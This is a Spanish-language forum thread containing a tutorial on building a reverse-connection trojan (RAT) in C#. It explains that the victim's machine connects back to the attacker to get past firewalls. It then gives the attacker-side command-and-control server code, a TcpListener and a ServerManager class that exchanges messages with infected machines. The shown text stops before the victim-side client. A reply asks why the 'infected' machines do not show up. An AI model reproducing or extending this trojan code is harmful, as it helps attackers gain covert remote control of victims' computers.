Underc0de

Programación General => C# - VB.NET => Mensaje iniciado por: BigBear en Octubre 31, 2014, 12:20:10 PM

Título: [C#] Creacion de un Troyano de conexion inversa
Publicado por: BigBear en Octubre 31, 2014, 12:20:10 PM
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa
0x05 : Bibliografia

-- =================--------

0x01 : Introduccion

Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la
victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos de conexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos.
Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion inversa en C# pero gracias a un ejemplo llamado "Reverse Connection RAT Example" hecho por xSilent de hackhound logre entender el funcionamiento

Sabiendo todo esto vamos hacer uno en C# con Visual Studio 2010.

Comencemos ...

0x02 : Creacion del servidor

Primero vamos a crear el servidor de la siguiente forma con visual studio :

(http://doddyhackman.webcindario.com/images/maketroy1csharp.jpg)

Una vez creado el proyecto pongan lo siguientes namespaces al inicio del codigo :

Código (csharp) [Seleccionar]

using System.Threading; // Lo usamos para poder manejar los hilos
using System.Net.Sockets; // Lo usamos para poder crear la conexion
using System.Net; // Lo usamos para poder crear la conexion
using System.Text.RegularExpressions; // Lo usamos para buscar en los strings usando expresiones regulares


Despues pongan las siguientes variables gobales al inicio del codigo :

Código (csharp) [Seleccionar]

TcpListener tcp_server; // Establecemos la variable tcp_server como TcpListener
Thread thread_server; // Establecemos la variable thread_server Thread


Ahora vamos a crear una clase llamada ServerManager con el siguiente codigo :

Código (csharp) [Seleccionar]

// Server Manager
// Coded By Doddy Hackman
// Credits :
// Rat Based on : http://www.hackforums.net/showthread.php?tid=827069v
// Thanks to xSilent

using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets; // Para el manejo de sockets
using System.IO; // Para el manejo de Streams
using System.Windows.Forms;  // Para el manejo de formularios
using System.Text.RegularExpressions; // Para el manejo de expresiones regulares

namespace server
{
    class ServerManager
    {
        public TcpClient manager; // Variable global para manejar el cliente
        public string ip; // Variable global para tener la IP

        public delegate void cargando_datos(ServerManager manager, string Message);
        public event cargando_datos evento_panel_control_now;

        public ServerManager(TcpClient manager)
        {
            this.manager = manager;
            string datos = manager.Client.RemoteEndPoint.ToString(); // Cargamos los datos de la conexion
            Match regex = Regex.Match(datos, "(.*):(.*)", RegexOptions.IgnoreCase); // Dividimos la ip y el puerto
            if (regex.Success) // Si se encontro ...
            {
                ip = regex.Groups[1].Value; // Guardamos la IP

            }

            manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Seguimos leyendo
        }
        void leo_al_idiot(IAsyncResult contenido_leyendo)
        {
            try
            {
                StreamReader leyendo_now = new StreamReader(manager.GetStream()); // Leemos los datos de la conexion
                string mensaje_leyendo_now = leyendo_now.ReadLine(); // Cargamos los datos de la conexión en la variable string
                evento_panel_control_now(this, mensaje_leyendo_now); // Mandamos a la funcion los datos leidos con la variable string
                manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Recargamos los datos
            }
            catch
            {
                //
            }

        }

        public void respondo_al_idiot(string mensaje_now)
        {
            try
            {
                StreamWriter te_mando_now = new StreamWriter(manager.GetStream()); // Creamos el stream para responder al cliente
                te_mando_now.WriteLine(mensaje_now); // Mandamos la respuesta
                te_mando_now.Flush(); // Refrescamos el buffer
            }
            catch
            {
                //
            }
        }

    }
}

// The End ?


El formulario del servidor lo vamos hacer de la siguiente forma :

Título: Re:[C#] Creacion de un Troyano de conexion inversa
Publicado por: Jhonny00xs en Abril 08, 2015, 08:32:24 PM
Oye, no me cargan los infectados en la list. ayuda por favor.